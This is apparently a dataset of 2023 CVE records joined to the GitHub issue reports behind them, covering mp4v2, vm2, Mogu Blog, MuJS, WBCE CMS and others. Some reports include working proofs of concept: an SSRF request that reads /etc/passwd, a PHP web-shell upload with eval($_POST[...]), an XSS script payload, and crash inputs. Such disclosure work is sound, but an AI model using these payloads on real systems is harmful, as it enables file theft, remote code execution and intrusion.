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CVE-2023-29584 | 2023-04-14T12:15:07.810 | mp4v2 v2.0.0 was discovered to contain a heap buffer overflow via the MP4GetVideoProfileLevel function at /src/mp4.cpp. | {
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"enzo1982",
"mp4v2"
] | # Heap-buffer-overflow mp4v2/src/mp4.cpp:519:33 in MP4GetVideoProfileLevel
## project address
https://github.com/enzo1982/mp4v2
## info
OS：Ubuntu20.04 TLS
Build: cmake . && make
mp4info - MP4v2 2.1.2
## Poc
https://github.com/z1r00/fuzz_vuln/blob/main/mp4v2/heap-buffer-overflow/MP4GetVideoProfileLevel/id:000000%2Csig:06%2Csrc:000758%2Ctime:1159607%2Cexecs:323115%2Cop:havoc%2Crep:8
## ASAN Info
```c
./mp4info id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8
mp4v2/mp4info version 2.1.2
mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8:
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": atom type �ods is suspect
Read: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": Mandatory descriptor 0x06 missing
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": invalid atom size, extends outside parent atom - skipping to end of "hinf" "dmax" 8458446 vs 4584
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": invalid atom size, extends outside parent atom - skipping to end of "stbl" "" 1953728578 vs 9686
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": atom type is suspect
ReadChildAtoms: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": In atom stbl missing child atom stsc
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": invalid atom size, extends outside parent atom - skipping to end of "moov" "�Ѱ>" 4026601461 vs 11495
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": atom type �Ѱ> is suspect
ReadAtom: "mp4v2_fuzzing/mp4info_out/fuzzer1/crashes/id:000000,sig:06,src:000758,time:1159607,execs:323115,op:havoc,rep:8": invalid atom size, extends outside parent atom - skipping to end of "" "miso" 829005910 vs 11597
MP4Track: invalid track (/home/z1r0/fuzzing/mp4v2/src/mp4track.cpp,239)
FindIntegerProperty: no such property - moov.iods.visualProfileLevelId (/home/z1r0/fuzzing/mp4v2/src/mp4file.cpp,831)
=================================================================
==168994==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006190 at pc 0x7f0bc7cb947d bp 0x7ffd0e2ca310 sp 0x7ffd0e2ca308
READ of size 4 at 0x602000006190 thread T0
#0 0x7f0bc7cb947c in MP4GetVideoProfileLevel /home/z1r0/fuzzing/mp4v2/src/mp4.cpp:519:33
#1 0x7f0bc7d276bc in mp4v2::impl::PrintVideoInfo(void*, unsigned int) /home/z1r0/fuzzing/mp4v2/src/mp4info.cpp:404:20
#2 0x7f0bc7d276bc in mp4v2::impl::PrintTrackInfo(void*, unsigned int) /home/z1r0/fuzzing/mp4v2/src/mp4info.cpp:543:21
#3 0x7f0bc7d26889 in MP4Info /home/z1r0/fuzzing/mp4v2/src/mp4info.cpp:596:39
#4 0x7f0bc7d28b82 in MP4FileInfo /home/z1r0/fuzzing/mp4v2/src/mp4info.cpp:627:18
#5 0x5560e33e3b41 in main /home/z1r0/fuzzing/mp4v2/util/mp4info.cpp:77:22
#6 0x7f0bc752e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x5560e32b451d in _start (/home/z1r0/fuzzing/mp4v2/mp4info+0x2151d)
0x602000006191 is located 0 bytes after 1-byte region [0x602000006190,0x602000006191)
allocated by thread T0 here:
#0 0x5560e33991a7 in malloc /home/aep/Downloads/llvm-project-llvmorg-17-init/compiler-rt/lib/asan/asan_malloc_linux.cpp:69:3
#1 0x7f0bc7c1a3c2 in mp4v2::impl::MP4Malloc(unsigned long) /home/z1r0/fuzzing/mp4v2/./src/mp4util.h:63:15
#2 0x7f0bc7d0c84f in mp4v2::impl::MP4BytesProperty::GetValue(unsigned char**, unsigned int*, unsigned int) /home/z1r0/fuzzing/mp4v2/src/mp4property.h:479:30
#3 0x7f0bc7d0c84f in mp4v2::impl::MP4File::GetBytesProperty(char const*, unsigned char**, unsigned int*) /home/z1r0/fuzzing/mp4v2/src/mp4file.cpp:1004:37
#4 0x7f0bc7d0c84f in mp4v2::impl::MP4File::GetTrackBytesProperty(unsigned int, char const*, unsigned char**, unsigned int*) /home/z1r0/fuzzing/mp4v2/src/mp4file.cpp:3254:5
#5 0x7f0bc7d11586 in mp4v2::impl::MP4File::GetTrackESConfiguration(unsigned int, unsigned char**, unsigned int*) /home/z1r0/fuzzing/mp4v2/src/mp4file.cpp:3668:9
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/z1r0/fuzzing/mp4v2/src/mp4.cpp:519:33 in MP4GetVideoProfileLevel
Shadow bytes around the buggy address:
0x602000005f00: fa fa 04 fa fa fa 01 fa fa fa fd fd fa fa 04 fa
0x602000005f80: fa fa 04 fa fa fa 04 fa fa fa fd fa fa fa 00 00
0x602000006000: fa fa 00 fa fa fa 04 fa fa fa 00 00 fa fa 00 fa
0x602000006080: fa fa 04 fa fa fa 00 00 fa fa 00 fa fa fa 04 fa
0x602000006100: fa fa 00 00 fa fa fd fa fa fa 00 00 fa fa 00 00
=>0x602000006180: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000006200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000006280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000006300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000006380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000006400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==168994==ABORTING
```
## Reference
https://github.com/z1r00/fuzz_vuln/blob/main/mp4v2/heap-buffer-overflow/MP4GetVideoProfileLevel/readme.md | Heap-buffer-overflow mp4v2/src/mp4.cpp:519:33 in MP4GetVideoProfileLevel | https://api.github.com/repos/enzo1982/mp4v2/issues/30/comments | 6 | 2023-04-02T06:17:17Z | 2023-05-10T22:24:07Z | https://github.com/enzo1982/mp4v2/issues/30 | 1,650,823,536 | 30 | 4,989 |
CVE-2023-29850 | 2023-04-14T14:15:11.733 | SENAYAN Library Management System (SLiMS) Bulian v9.5.2 does not strip exif data from uploaded images. This allows attackers to obtain information such as the user's geolocation and device information. | {
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"Vendor Advisory"
] | github.com | [
"slims",
"slims9_bulian"
] | **Describe the bug**
When a user uploads an image in "SLiMS 9 Bulian official source code", the uploaded image’s EXIF Geolocation Data does not gets stripped. As a result, anyone can get sensitive information of "SLiMS 9 Bulian official source code" users like their Geolocation, their Device information like Device Name, Version, Software & Software version used etc.
**CMS Version:**
v9.5.2
**Affected URL:**
http://127.0.0.1/bulian/admin/index.php?mod=membership
**To Reproduce**
Steps to reproduce the behavior:
1) Got to Github ( https://github.com/ianare/exif-samples/tree/master/jpg)
2) There are lot of images having resolutions (i.e 1280 * 720 ) , and also whith different MB’s .
login your admin panel and membership menu and upload photo in any member profile.
3) see the path of uploaded image ( Either by right click on image then copy image address OR right click, inspect the image, the URL will come in the inspect , edit it as html )
4) open it (https://www.verexif.com/en/index.php)
5) See whether is that still showing exif data , if it is then Report it.
**Proof Of Concept:**
You can see the Proof of Concept. which I've attached screenshots and video to confirm the vulnerability.
**Screenshots**
**Video**
https://user-images.githubusercontent.com/41516016/229643735-dd78ced5-558d-4817-a6a9-9d34099223d0.mp4
**Desktop (please complete the following information):**
- OS: Windows 10
- Browser: Google Chrome
-
**Impact**
This vulnerability is CRITICAL and impacts all the "SLiMS 9 Bulian official source code" customer base. This vulnerability violates the privacy of a User and shares sensitive information of the user who uploads an image on SLiMS 9 Bulian official.
Let me know if any further info is required.
Thanks & Regards
**Rahad Chowdhury**
Cyber Security Specialist
https://www.linkedin.com/in/rahadchowdhury
| EXIF Geolocation Data Not Stripped From Uploaded Images | https://api.github.com/repos/slims/slims9_bulian/issues/186/comments | 0 | 2023-04-03T22:54:16Z | 2023-08-27T07:51:24Z | https://github.com/slims/slims9_bulian/issues/186 | 1,652,878,969 | 186 | 4,990 |
CVE-2023-29199 | 2023-04-14T19:15:09.337 | There exists a vulnerability in source code transformer (exception sanitization logic) of vm2 for versions up to 3.9.15, allowing attackers to bypass `handleException()` and leak unsanitized host exceptions which can be used to escape the sandbox and run arbitrary code in host context. A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox. This vulnerability was patched in the release of version `3.9.16` of `vm2`.
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We have found a sandbox escape vulnerability in the vm2@3.9.15 (latest).
As this is a security issue we would like to contact the administrators via email, but could not find any point of contact.
Could the administrators share an email address to send the vulnerability report? @XmiliaH @patriksimek
Regards,
Xion. | Sandbox Escape in vm2@3.9.15 | https://api.github.com/repos/patriksimek/vm2/issues/516/comments | 3 | 2023-04-08T15:03:39Z | 2023-04-11T12:28:43Z | https://github.com/patriksimek/vm2/issues/516 | 1,659,549,663 | 516 | 4,991 |
CVE-2023-2101 | 2023-04-15T13:15:45.083 | A vulnerability, which was classified as problematic, has been found in moxi624 Mogu Blog v2 up to 5.2. This issue affects the function uploadPictureByUrl of the file /mogu-picture/file/uploadPicsByUrl. The manipulation of the argument urlList leads to absolute path traversal. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-226109 was assigned to this vulnerability. | {
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] | github.com | [
"moxi624",
"mogu_blog_v2"
] | ## 1、复现详情（Reproduction details）
**构造BurpSuite请求报文，利用file协议读取文件/etc/passwd中的内容，写入到图片中：**
**Construct a BurpSuite request message, use the file protocol to read the contents of the /etc/passwd file, and write it into an image:**
```
POST /mogu-picture/file/uploadPicsByUrl HTTP/1.1
Host: you-ip:8602
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: bearer_eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pblVpZCI6IjFmMDFjZDFkMmY0NzQ3NDNiMjQxZDc0MDA4YjEyMzMzIiwicm9sZSI6Im51bGzotoXnuqfnrqHnkIYiLCJjcmVhdGVUaW1lIjoxNjgwMTU2NjY4NTExLCJzdWIiOiJhZG1pbiIsImlzcyI6Im1vZ3VibG9nIiwiYXVkIjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJleHAiOjE2ODAxNjAyNjgsIm5iZiI6MTY4MDE1NjY2OH0.oXuQcn6Do52V7XkiPiH1Ug1XKOHNgKk4BTeksFgj8DI
Connection: close
Content-Type: application/json
Content-Length: 122
{
"token":"asdf",
"adminUid":"asdf",
"sortName":"admin",
"projectName":"blog",
"urlList":[
"file:///etc/passwd"]
}
```
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228767407-97dbd606-f5df-4d9b-944e-c4b0385eb4cf.png">
访问图片地址：http://you-ip:8600/blog/admin/jpg/2023/3/30/1680160261977.jpg
Visit image address: http://your-ip:8600/blog/admin/jpg/2023/3/30/1680160261977.jpg
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228767603-d1f5cacc-e6de-425a-9700-446f532751e1.png">
## 2、底层分析（Bottom-up analysis）
**入口点：**
**Entrance point：**
FileRestApi#uploadPicsByUrl
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228768196-8be3c066-0dd7-48c5-829f-79b9afa4000c.png">
进入`uploadPictureByUrl()`方法：
传入的`fileV0`为springboot前端传入的参数自动装配，从`fileV0`中取出`urlList`
Enter the `uploadPictureByUrl()` method：
The incoming `fileV0` is the parameter automatically wired by the Spring Boot frontend. Extract `urlList` from `fileV0`
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228768425-13cb827c-4e5b-44d9-8ae8-2f7ac33ef3af.png">
遍历`urlList`并传入`uploadPictureByUrl()`方法中，中间未作任何过滤：
Traverse `urlList` and pass it into the `uploadPictureByUrl()` method without any filtering in between:
<img width="416" alt="image" src="https://user-images.githubusercontent.com/129370953/228768467-d3c43f0b-62c4-4bc4-ad98-d47868fcbc78.png">
更进`uploadPictureByUrl`方法：
`uploadPictureByUrl`方法中也未作任何过滤，直接传入URL类中
Further improve the `uploadPictureByUrl` method:
no filtering is done in the `uploadPictureByUrl` method, and the URL is directly passed in
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228768495-8dac6c21-16dd-4766-b5fa-2ff5761ba1bc.png">
调用`openConnection`方法后，获取数据流写入输出流中：
After calling the `openConnection` method, get the data stream and write it to the output stream：
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228768549-5d31473b-c14b-4fb5-a618-f801a32095a9.png">
文件写入的路径（文件输出流）：
The path for writing the file (output stream):
<img width="415" alt="image" src="https://user-images.githubusercontent.com/129370953/228768583-ac788056-57cd-4fc2-b374-300cd886e3f2.png">
## 3、修复方案（Repair plan）
（1）建议使用`HttpURLConnection`类，替代`Url`类，并对请求的ip地址进行判断，过滤掉内网ip
（1）Suggest using the `HttpURLConnection` class instead of the `Url` class, and filtering out intranet IP addresses by checking the requested IP address | mogu_blog_v2-FileRestApi#uploadPicsByUrl-存在SSRF漏洞（mogu_blog_v2-FileRestApi#uploadPicsByUrl has a SSRF vulnerability） | https://api.github.com/repos/moxi624/mogu_blog_v2/issues/97/comments | 0 | 2023-03-30T08:27:35Z | 2023-03-30T08:27:47Z | https://github.com/moxi624/mogu_blog_v2/issues/97 | 1,647,152,968 | 97 | 4,992 |
CVE-2021-39295 | 2023-04-15T20:16:00.667 | In OpenBMC 2.9, crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface. | {
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] | github.com | [
"openbmc",
"openbmc"
] | **Note on Bugs**
Please note that questions or feature requests should be discussed on the
mailing list or Discord. Please see https://github.com/openbmc/openbmc#contact
for info on how to contact us. Github Issues in openbmc/openbmc are for bugs
only. Please remove this section when opening a bug.
**Unexpected behavior you saw**
A clear and concise description of what unexpectedly happened.
**Expected behavior**
A clear and concise description of what you expected to happen.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Screenshots**
If applicable, add screenshots to help explain your problem.
**OpenBMC Information:**
- /etc/os-release:
- uname -a:
- Any additional patches or changes:
**Additional context**
Add any other context about the problem here.
| <TBD> | https://api.github.com/repos/openbmc/openbmc/issues/3811/comments | 3 | 2021-08-17T08:47:08Z | 2022-05-25T23:01:21Z | https://github.com/openbmc/openbmc/issues/3811 | 972,449,256 | 3,811 | 4,993 |
CVE-2022-37704 | 2023-04-16T01:15:06.823 | Amanda 3.5.1 allows privilege escalation from the regular user backup to root. The SUID binary located at /lib/amanda/rundump will execute /usr/sbin/dump as root with controlled arguments from the attacker which may lead to escalation of privileges, denial of service, and information disclosure. | {
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] | The researcher that requested this CVE hasn't seemed to actually report to Amanda upstream, so I'm reproducing the report here to hopefully get it fixed. The [CVE's](https://nvd.nist.gov/vuln/detail/CVE-2022-37703) description:
"In Amanda 3.5.1, an information leak vulnerability was found in the calcsize SUID binary. An attacker can abuse this vulnerability to know if a directory exists or not anywhere in the fs. The binary will use `opendir()` as root directly without checking the path, letting the attacker provide an arbitrary path."
There's also a tiny bit more information in: https://github.com/MaherAzzouzi/CVE-2022-37703
Probably most notably, `[Affected Component] Component: calcsize SUID binary. C file: calcsize.c Line: 435 if((d = opendir(dirname)) == NULL) {`.
I tried to convince the researcher to be a bit more responsible and report to upstream, but they eventually deleted the issue where I requested this and told me they'd release 2 local privilege escalation vulnerabilities, but that fortunately doesn't seem to have happened yet. More information on that in [this gist](https://gist.github.com/ajakk/f5aece4564079513f09f6066238ed6aa). | CVE-2022-37703 - directory existence disclosure via SUID calcsize binary | https://api.github.com/repos/zmanda/amanda/issues/192/comments | 9 | 2022-09-26T15:47:15Z | 2023-05-04T10:57:34Z | https://github.com/zmanda/amanda/issues/192 | 1,386,313,820 | 192 | 4,994 |
CVE-2021-33797 | 2023-04-17T22:15:07.677 | Buffer-overflow in jsdtoa.c in Artifex MuJS in versions 1.0.1 to 1.1.1. An integer overflow happens when js_strtod() reads in floating point exponent, which leads to a buffer overflow in the pointer *d. | {
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"mujs"
] | In jsdtoa.c:694-696,
```
694 while ((*p >= '0') && (*p <= '9')) {
695 exp = exp * 10 + (*p - '0');
696 p += 1;
697 }
```
there is an integer overflow in variable `exp`. The number `1E9600000000000000000000000000` is parsed into `0x80000000`, which causes the for loop in jsdtoa.c:727-730 being executed dozens of times. Because `-O2` in compile args, the `if (exp < -maxExponent)` branch has been optimised out by gcc.
poc:
```
Function(1E9600000000000000000000000000)
```
compile args:
```
CC=/usr/bin/gcc make release
```
AddressSanitizer output:
```
==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000690638 at pc 0x00000040af2f bp 0x7ffdaa557c60 sp 0x7ffdaa557c50
READ of size 8 at 0x000000690638 thread T0
#0 0x40af2e in js_strtod /data/clean/mujs-1.1.1/jsdtoa.c:729
#1 0x436da2 in lexnumber /data/clean/mujs-1.1.1/jslex.c:383
#2 0x42564b in jsY_lexx /data/clean/mujs-1.1.1/jslex.c:605
#3 0x467fe4 in jsY_lex /data/clean/mujs-1.1.1/jslex.c:742
#4 0x467fe4 in jsP_next /data/clean/mujs-1.1.1/jsparse.c:140
#5 0x467fe4 in callexp /data/clean/mujs-1.1.1/jsparse.c:425
#6 0x467fe4 in postfix /data/clean/mujs-1.1.1/jsparse.c:432
#7 0x467fe4 in unary /data/clean/mujs-1.1.1/jsparse.c:453
#8 0x468cd8 in multiplicative /data/clean/mujs-1.1.1/jsparse.c:460
#9 0x468fe8 in additive /data/clean/mujs-1.1.1/jsparse.c:475
#10 0x469268 in shift /data/clean/mujs-1.1.1/jsparse.c:489
#11 0x46958b in relational /data/clean/mujs-1.1.1/jsparse.c:504
#12 0x469a6b in equality /data/clean/mujs-1.1.1/jsparse.c:522
#13 0x469e2a in bitand /data/clean/mujs-1.1.1/jsparse.c:538
#14 0x46a04a in bitxor /data/clean/mujs-1.1.1/jsparse.c:552
#15 0x46a26b in bitor /data/clean/mujs-1.1.1/jsparse.c:566
#16 0x46a26b in logand /data/clean/mujs-1.1.1/jsparse.c:580
#17 0x46a5b0 in logor /data/clean/mujs-1.1.1/jsparse.c:592
#18 0x46a74b in conditional /data/clean/mujs-1.1.1/jsparse.c:604
#19 0x46a74b in assignment /data/clean/mujs-1.1.1/jsparse.c:620
#20 0x46ba3a in expression /data/clean/mujs-1.1.1/jsparse.c:641
#21 0x428651 in statement /data/clean/mujs-1.1.1/jsparse.c:906
#22 0x429a62 in script /data/clean/mujs-1.1.1/jsparse.c:942
#23 0x429d08 in jsP_parse /data/clean/mujs-1.1.1/jsparse.c:1049
#24 0x429d97 in js_loadstringx /data/clean/mujs-1.1.1/jsstate.c:113
#25 0x434c85 in js_loadstring /data/clean/mujs-1.1.1/jsstate.c:128
#26 0x434c85 in js_loadfile /data/clean/mujs-1.1.1/jsstate.c:188
#27 0x45f252 in js_dofile /data/clean/mujs-1.1.1/jsstate.c:217
#28 0x40256e in main /data/clean/mujs-1.1.1/main.c:354
#29 0x7f88433ab83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#30 0x402b78 in _start (/data/clean/mujs-1.1.1/build/sanitize/mujs+0x402b78)
0x000000690638 is located 8 bytes to the left of global variable 'futurewords' defined in 'jscompile.c:35:20' (0x690640) of size 56
0x000000690638 is located 48 bytes to the right of global variable 'strictfuturewords' defined in 'jscompile.c:39:20' (0x6905c0) of size 72
SUMMARY: AddressSanitizer: global-buffer-overflow /data/clean/mujs-1.1.1/jsdtoa.c:729 in js_strtod
Shadow bytes around the buggy address:
0x0000800ca070: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 00 00 00 00
0x0000800ca080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800ca090: 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
0x0000800ca0a0: 00 00 00 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000800ca0b0: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0000800ca0c0: 00 f9 f9 f9 f9 f9 f9[f9]00 00 00 00 00 00 00 f9
0x0000800ca0d0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800ca0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800ca0f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800ca100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800ca110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==106141==ABORTING
``` | global-buffer-overflow in jsdtoa.c:729. (The issue exists in all versions) | https://api.github.com/repos/ccxvii/mujs/issues/148/comments | 2 | 2021-04-21T09:53:10Z | 2021-06-07T15:16:25Z | https://github.com/ccxvii/mujs/issues/148 | 863,687,797 | 148 | 4,995 |
CVE-2021-41614 | 2023-04-18T12:15:07.430 | An issue was discovered in the controller unit of the OpenRISC mor1kx processor. The read/write access permissions to the Exception Program Counter Register (EPCR) are not implemented correctly. User programs from an unauthorized privilege level can make read/write accesses to EPCR. | {
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"openrisc",
"mor1kx"
] | The OpenRISC specification requires that the EPCR register be accessible only from supervisor mode.
Bug location: rtl/verilog/mor1kx_ctrl_cappuccino.v
Triggering input:
#include <stdio.h>
int main() {
// enter user mode :
asm volatile ( "l.ori r17,r0,0x0000 ");
asm volatile ( "l.mtspr r0,r17,0x3806");
asm volatile ( "l.mfspr r17,r0,0x11 ");
asm volatile ( "l.andi r17,r17,-2 ");
asm volatile ( "l.mtspr r0,r17,0x11 ");
// padding the seed code
asm volatile( "l.nop 0x0 ");
asm volatile( "l.nop 0x0 ");
asm volatile( "l.nop 0x0 ");
asm volatile( "l.nop 0x0 ");
asm volatile ("l.addi r1,r0,1");
asm volatile ("l.mfspr r2,r0,32");
asm volatile ("l.mtspr r0, r1, 32");
return 0;
}
The or1ksim fails to execute the mfspr while the mor1kx implementation can successfully write into EPCR using the mtspr instruction.
Please check this bug. | The EPCR register is accessible from user mode | https://api.github.com/repos/openrisc/mor1kx/issues/140/comments | 3 | 2021-09-03T11:43:42Z | 2023-04-18T14:57:16Z | https://github.com/openrisc/mor1kx/issues/140 | 987,687,515 | 140 | 4,996 |
CVE-2023-27092 | 2023-04-18T12:15:07.493 | Cross Site Scripting vulnerability found in Jbootfly allows attackers to obtain sensitive information via the username parameter. | {
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项目介绍
bootFly 是一个由 Jboot + Fly 开发的论坛社区。
开源地址
https://gitee.com/fuhai/jbootfly
漏洞复现
用户名存储型xss
在注册用户时候，注册一个用户名为 >"'><script>alert('XSS')</script> 的用户成功后，登录前台直接将用户信息在前台展示。
从代码中可知，在注册用户添加用户名时，未进行XSS过滤
| jbootfly-bbs storage XSS | https://api.github.com/repos/yangfuhai/jbootfly/issues/1/comments | 0 | 2023-04-04T07:57:46Z | 2023-04-04T07:57:46Z | https://github.com/yangfuhai/jbootfly/issues/1 | 1,653,382,365 | 1 | 4,997 |
CVE-2023-29774 | 2023-04-18T15:15:07.810 | Dreamer CMS 3.0.1 is vulnerable to stored Cross Site Scripting (XSS). | {
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"iteachyou-wjn",
"dreamer_cms"
] | Hello, I'm a penetration test engineer-mb
Affected version: 3.0.1
There is no xxs filter in the lower version
<img width="1192" alt="1" src="https://user-images.githubusercontent.com/58795040/224049756-2975ffcf-4f44-43cd-bafe-8936d8f7715c.png">
At the same time, there is a low-version editor, where there is a stored xss
<img width="1263" alt="2" src="https://user-images.githubusercontent.com/58795040/224049914-5de786dd-6465-498b-80b4-406f9b5d9f92.png">
<img width="1269" alt="3" src="https://user-images.githubusercontent.com/58795040/224049953-d76aa041-ae18-4348-a09f-818a6849733d.png">
| Stored xss | https://api.github.com/repos/iteachyou-wjn/dreamer_cms/issues/10/comments | 1 | 2023-03-09T14:07:54Z | 2023-04-11T06:48:04Z | https://github.com/iteachyou-wjn/dreamer_cms/issues/10 | 1,617,330,402 | 10 | 4,998 |
CVE-2023-29855 | 2023-04-18T18:15:07.547 | WBCE CMS 1.5.3 has a command execution vulnerability via admin/languages/install.php. | {
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"WBCE",
"WBCE_CMS"
] | ## Vulnerability description
There is a command execution vulnerability in the background of WBCE CMS V1.5.3.
Vulnerability URL /admin/languages/install.php Install Language module parameter filtering is not strict, there is a command execution vulnerability
## Vulnerability analysis
In the receiving method on line 47 of the file /admin/languages/install.php, the system first saves the data submitted by the client to a temporary file, and then executes the relevant code to trigger the command execution vulnerability.
## Vulnerability verification process
```
POST /admin/languages/install.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost/admin/languages/index.php
Cookie: phpsessid-5239-sid=hhh85m1as94tpdkq36vnjcommm; WBCELastConnectJS=1664417056; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------7377265762079
Content-Length: 496
-----------------------------7377265762079
Content-Disposition: form-data; name="formtoken"
67491209-95651bfdf4022592df7062726ca433cbba088a8b
-----------------------------7377265762079
Content-Disposition: form-data; name
Content-Type: application/octet-stream
<?php echo(system('whoami'));@eval($_POST[stcs]);?>
-----------------------------7377265762079
Content-Disposition: form-data; name="submit"
-----------------------------7377265762079—
```
 | Command execution vulnerability exists in WBCE CMS V1.5.3 background | https://api.github.com/repos/WBCE/WBCE_CMS/issues/544/comments | 2 | 2023-03-14T05:32:35Z | 2024-04-03T16:42:11Z | https://github.com/WBCE/WBCE_CMS/issues/544 | 1,622,764,095 | 544 | 4,999 |
CVE-2023-26048 | 2023-04-18T21:15:08.977 | Jetty is a java based web server and servlet engine. In affected versions servlets with multipart support (e.g. annotated with `@MultipartConfig`) that call `HttpServletRequest.getParameter()` or `HttpServletRequest.getParts()` may cause `OutOfMemoryError` when the client sends a multipart request with a part that has a name but no filename and very large content. This happens even with the default settings of `fileSizeThreshold=0` which should stream the whole part content to disk. An attacker client may send a large multipart request and cause the server to throw `OutOfMemoryError`. However, the server may be able to recover after the `OutOfMemoryError` and continue its service -- although it may take some time. This issue has been patched in versions 9.4.51, 10.0.14, and 11.0.14. Users are advised to upgrade. Users unable to upgrade may set the multipart parameter `maxRequestSize` which must be set to a non-negative value, so the whole multipart content is limited (although still read into memory). | {
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"eclipse",
"jetty.project"
] | **Enhancement Description**
A number of improvements have been discovered while working on #9066 and should be addressed (but are not related to #9066)
| Clean up multipart | https://api.github.com/repos/jetty/jetty.project/issues/9076/comments | 3 | 2022-12-21T10:20:05Z | 2023-02-15T23:42:59Z | https://github.com/jetty/jetty.project/issues/9076 | 1,506,061,130 | 9,076 | 5,000 |
CVE-2023-27043 | 2023-04-19T00:15:07.973 | The email module of Python through 3.11.3 incorrectly parses e-mail addresses that contain a special character. The wrong portion of an RFC2822 header is identified as the value of the addr-spec. In some applications, an attacker can bypass a protection mechanism in which application access is granted only after verifying receipt of e-mail to a specific domain (e.g., only @company.example.com addresses may be used for signup). This occurs in email/_parseaddr.py in recent versions of Python. | {
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] | 20 | https://github.com/python/cpython/issues/102988 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"python",
"cpython"
] | # Bug report
